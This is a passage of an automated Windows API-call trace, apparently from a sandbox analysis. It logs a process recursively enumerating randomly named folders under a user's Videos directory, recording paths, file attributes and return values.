lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.656] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.656] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0074.656] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0074.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0074.656] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv", lpFilePart=0x0) returned 0x31 [0074.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0074.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67911b30, ftCreationTime.dwHighDateTime=0x1d2f8f3, ftLastAccessTime.dwLowDateTime=0x9d662f40, ftLastAccessTime.dwHighDateTime=0x1d30454, ftLastWriteTime.dwLowDateTime=0x9d662f40, ftLastWriteTime.dwHighDateTime=0x1d30454, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0074.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0074.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0074.657] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv", lpFilePart=0x0) returned 0x31 [0074.657] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9258 [0074.657] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.657] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.657] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.657] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.657] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.657] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.657] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.658] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.658] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.658] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0074.658] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0074.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0074.658] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm", lpFilePart=0x0) returned 0x44 [0074.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0074.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\eyqf5ksecamn6njljm"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d63f5d0, ftCreationTime.dwHighDateTime=0x1d2fd0f, ftLastAccessTime.dwLowDateTime=0x6aebe4f0, ftLastAccessTime.dwHighDateTime=0x1d30004, ftLastWriteTime.dwLowDateTime=0x6aebe4f0, ftLastWriteTime.dwHighDateTime=0x1d30004, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0074.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0074.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0074.658] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm", lpFilePart=0x0) returned 0x44 [0074.658] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9258 [0074.659] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.659] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.659] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.659] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.659] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.659] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0074.659] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0074.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0074.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0074.659] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm", lpFilePart=0x0) returned 0x44 [0074.659] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\Eyqf5KSeCaMN6njljm\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9258 [0074.660] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.660] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.660] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.660] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.660] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.660] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0074.660] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0074.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0074.660] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4", lpFilePart=0x0) returned 0x45 [0074.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0074.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc13be710, ftCreationTime.dwHighDateTime=0x1d303ec, ftLastAccessTime.dwLowDateTime=0x8c627f90, ftLastAccessTime.dwHighDateTime=0x1d30559, ftLastWriteTime.dwLowDateTime=0x8c627f90, ftLastWriteTime.dwHighDateTime=0x1d30559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0074.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0074.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0074.661] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4", lpFilePart=0x0) returned 0x45 [0074.661] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9258 [0074.661] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.661] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.661] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.661] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.661] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0074.661] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0074.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0074.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0074.661] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4", lpFilePart=0x0) returned 0x45 [0074.661] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9258 [0074.662] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.662] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.662] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.662] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.662] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0074.662] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0074.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0074.662] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uXWBnEhIHTl8W", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uXWBnEhIHTl8W", lpFilePart=0x0) returned 0x3f [0074.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0074.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uXWBnEhIHTl8W" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\uxwbnehihtl8w"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83efec60, ftCreationTime.dwHighDateTime=0x1d2ff93, ftLastAccessTime.dwLowDateTime=0xc192cc20, ftLastAccessTime.dwHighDateTime=0x1d2fd06, ftLastWriteTime.dwLowDateTime=0xc192cc20, ftLastWriteTime.dwHighDateTime=0x1d2fd06, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0074.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0074.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0074.663] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uXWBnEhIHTl8W", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uXWBnEhIHTl8W", lpFilePart=0x0) returned 0x3f [0074.663] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uXWBnEhIHTl8W\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9258 [0074.664] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.664] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.664] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0074.664] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0074.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0074.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0074.664] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uXWBnEhIHTl8W", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uXWBnEhIHTl8W", lpFilePart=0x0) returned 0x3f [0074.664] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\uXWBnEhIHTl8W\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9258 [0074.664] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.664] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.665] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0074.665] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0074.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0074.665] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC", lpFilePart=0x0) returned 0x40 [0074.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0074.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\wqhnocgb21accc"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac7ae00, ftCreationTime.dwHighDateTime=0x1d300bb, ftLastAccessTime.dwLowDateTime=0xff8e6f0, ftLastAccessTime.dwHighDateTime=0x1d2ffa6, ftLastWriteTime.dwLowDateTime=0xff8e6f0, ftLastWriteTime.dwHighDateTime=0x1d2ffa6, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0074.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0074.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0074.665] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC", lpFilePart=0x0) returned 0x40 [0074.665] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9258 [0074.665] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.665] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.665] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0074.665] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0074.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0074.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0074.666] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC", lpFilePart=0x0) returned 0x40 [0074.666] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9258 [0074.666] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.666] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0074.666] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0074.666] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0074.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0074.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0074.666] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv", lpFilePart=0x0) returned 0x31 [0074.666] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9258 [0074.666] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.667] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.667] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.667] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.667] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.667] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.667] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.667] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.667] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.667] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0074.668] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0074.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0074.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz", lpFilePart=0x0) returned 0x32 [0074.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0074.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\ijyi ku9gkwyypfgatz"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1a1b610, ftCreationTime.dwHighDateTime=0x1d2fb05, ftLastAccessTime.dwLowDateTime=0xdad524d0, ftLastAccessTime.dwHighDateTime=0x1d30166, ftLastWriteTime.dwLowDateTime=0xdad524d0, ftLastWriteTime.dwHighDateTime=0x1d30166, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0074.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0074.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0074.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz", lpFilePart=0x0) returned 0x32 [0074.668] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9258 [0074.668] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.668] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.668] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.668] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.669] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.669] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0074.669] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0074.669] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0074.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0074.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0074.669] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\IjyI ku9gKWYYPFGATz", lpFilePart=0x0) returned 0x32 [0074.669] FindFirstFileW 